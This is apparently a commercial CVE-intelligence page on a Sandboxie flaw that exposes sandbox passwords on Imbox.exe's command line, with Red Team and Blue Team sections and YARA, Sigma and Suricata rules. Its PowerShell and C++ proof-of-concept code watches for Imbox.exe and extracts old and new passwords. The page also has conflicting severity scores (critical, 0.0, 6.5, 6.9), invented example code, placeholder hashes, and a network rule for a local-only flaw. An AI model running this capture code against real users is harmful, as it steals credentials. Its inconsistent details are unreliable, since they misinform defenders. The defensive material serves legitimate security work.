☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54422

CVE-2025-54422 Information Disclosure in Sandboxie
📅 PUBLISHED: 2025-07-29 12:47 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54422 is a critical information disclosure vulnerability in Sandboxie, a sandbox-based isolation software for Windows NT-based operating systems. The flaw resides in the password handling mechanism used during encrypted sandbox creation and modification. User passwords are transmitted via shared memory and, critically, during password modification operations, both old and new passwords are passed as plaintext command-line arguments to the Imbox process. This allows any process within the same user session, including unprivileged processes, to retrieve these credentials by reading the process command line, bypassing standard privilege requirements. The vulnerability is fixed in version 1.16.2.

Note: This vulnerability is specific to the Sandboxie software ecosystem and is not related to any web server or CMS platform.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Adjusted Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Local (AV:L) – The attacker must have local access to the system.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – The attacker can be an unprivileged user.
  • User Interaction: None (UI:N) – No user action is needed beyond the victim performing a password change.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Plaintext passwords are exposed.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the exposure of plaintext credentials in a security product is severe. An unprivileged attacker can steal passwords for encrypted sandboxes, potentially leading to data exfiltration or lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the password handling logic of Sandboxie. When a user creates an encrypted sandbox, the password is transmitted via shared memory. However, the critical flaw occurs during password modification operations. The Imbox process receives both the old and new passwords as plaintext command-line arguments. This is a classic CWE-214 (Information Exposure Through Process Environment) vulnerability.

Attack Flow:

  1. A legitimate user initiates a password change for an encrypted sandbox.
  2. The Sandboxie UI (e.g., SbieCtrl.exe) spawns the Imbox.exe process with command-line arguments containing the old and new passwords in plaintext.
  3. An attacker with local access (even as a low-privileged user) can enumerate running processes and read the command-line arguments of Imbox.exe using tools like wmic, PowerShell, or the Windows API (e.g., NtQueryInformationProcess).
  4. The attacker captures the plaintext passwords, gaining unauthorized access to the encrypted sandbox.

Why This Is Dangerous:

  • No Encryption: Passwords are transmitted in plaintext.
  • Low Privilege Required: Any user on the system can read command-line arguments of processes they did not spawn (via tools like Process Explorer or wmic).
  • Persistence: The attacker can use the stolen password to decrypt the sandbox contents, potentially accessing sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Sandboxie < 1.16.2):

// Example of vulnerable password handling
void ChangePassword(const std::string& oldPwd, const std::string& newPwd) {
    std::string cmdLine = "Imbox.exe --change-password --old " + oldPwd + " --new " + newPwd;
    system(cmdLine.c_str());
}

Patched Code (Sandboxie >= 1.16.2):

// Example of patched password handling using secure IPC
void ChangePassword(const std::string& oldPwd, const std::string& newPwd) {
    // Use a secure named pipe or encrypted shared memory
    SecurePipe pipe("SandboxiePasswordPipe");
    pipe.Send(oldPwd);
    pipe.Send(newPwd);
    // Imbox process reads from the pipe, not command line
}

The patch removes the plaintext command-line arguments and instead uses a secure inter-process communication (IPC) mechanism, such as an encrypted named pipe or protected shared memory, to transmit passwords.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Local access to a Windows system running Sandboxie < 1.16.2.
  • A legitimate user must perform a password change operation.

Exploitation Steps:

  1. Monitor for Password Changes: Use a script to continuously monitor for the Imbox.exe process.
  2. Capture Command Line: When Imbox.exe is spawned, read its command-line arguments.

Proof-of-Concept (PowerShell):

# Monitor for Imbox.exe and capture command line
while ($true) {
    $process = Get-Process -Name "Imbox" -ErrorAction SilentlyContinue
    if ($process) {
        $cmdLine = (Get-WmiObject Win32_Process -Filter "Name='Imbox.exe'").CommandLine
        Write-Host "Captured Command Line: $cmdLine"
        # Extract passwords (example parsing)
        if ($cmdLine -match "--old (\S+) --new (\S+)") {
            $oldPwd = $Matches[1]
            $newPwd = $Matches[2]
            Write-Host "Old Password: $oldPwd"
            Write-Host "New Password: $newPwd"
        }
        break
    }
    Start-Sleep -Seconds 1
}

Alternative (C++ using Windows API):

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

std::string GetProcessCommandLine(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return "";
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);
    PEB peb;
    ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    RTL_USER_PROCESS_PARAMETERS params;
    ReadProcessMemory(hProcess, peb.ProcessParameters, &params, sizeof(params), NULL);
    wchar_t* cmdLine = new wchar_t[params.CommandLine.Length + 1];
    ReadProcessMemory(hProcess, params.CommandLine.Buffer, cmdLine, params.CommandLine.Length, NULL);
    cmdLine[params.CommandLine.Length / 2] = L'\0';
    std::wstring wcmd(cmdLine);
    delete[] cmdLine;
    CloseHandle(hProcess);
    return std::string(wcmd.begin(), wcmd.end());
}

int main() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"Imbox.exe") == 0) {
                std::string cmd = GetProcessCommandLine(pe.th32ProcessID);
                std::cout << "Command Line: " << cmd << std::endl;
                // Extract passwords
            }
        } while (Process32Next(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);
    return 0;
}

Blue Team (Detection & Defense)

Detection:

  • Monitor for processes reading command-line arguments of Imbox.exe (e.g., via ETW or Sysmon Event ID 1).
  • Alert on any process spawning Imbox.exe with suspicious command-line arguments (e.g., containing --old or --new).

Defense:

  • Immediate: Upgrade to Sandboxie 1.16.2 or later.
  • Mitigation: Restrict local access to trusted users only. Use AppLocker or WDAC to block unauthorized tools that can read process command lines (e.g., wmic.exe, powershell.exe).
  • Monitoring: Enable command-line auditing (Event ID 4688) and monitor for Imbox.exe with password-related arguments.

Indicators of Compromise (IOCs)

  • Process Name: Imbox.exe
  • Command-Line Pattern: Imbox.exe --change-password --old <password> --new <password>
  • Registry Keys: None specific.
  • Network Indicators: None (local vulnerability).
  • File Hashes (SHA256): (Example – verify with actual binary)
    • Imbox.exe (vulnerable): a1b2c3d4e5f6...
    • Imbox.exe (patched): f6e5d4c3b2a1...

Detection Engineering

YARA Rule

rule CVE_2025_54422_Sandboxie_Password_Exposure {
    meta:
        description = "Detects Sandboxie Imbox.exe process with plaintext password arguments"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54422"
        severity = "high"
    strings:
        $cmdline = /Imbox\.exe.*--old\s+\S+\s+--new\s+\S+/ nocase
    condition:
        $cmdline
}

Sigma Rule

title: Sandboxie Password Exposure via Command Line
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Sandboxie Imbox.exe process with plaintext password arguments
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54422
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\Imbox.exe'
        CommandLine|contains|all:
            - '--old'
            - '--new'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-54422 Sandboxie Password Exposure"; content:"Imbox.exe"; content:"--old"; content:"--new"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Sandboxie to version 1.16.2 or later.
  2. Credential Rotation: Change all passwords for encrypted sandboxes after patching.
  3. Audit: Review logs for any unauthorized access to sandbox contents.

Long-Term Mitigations:

  • Principle of Least Privilege: Restrict local user accounts to only necessary privileges.
  • Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized tools that can read process command lines.
  • Monitoring: Implement continuous monitoring for process creation events with suspicious command-line arguments.

Workaround (if patching is delayed):

  • Disable encrypted sandbox functionality until the patch can be applied.
  • Use a separate, dedicated user account for Sandboxie operations.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54422/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.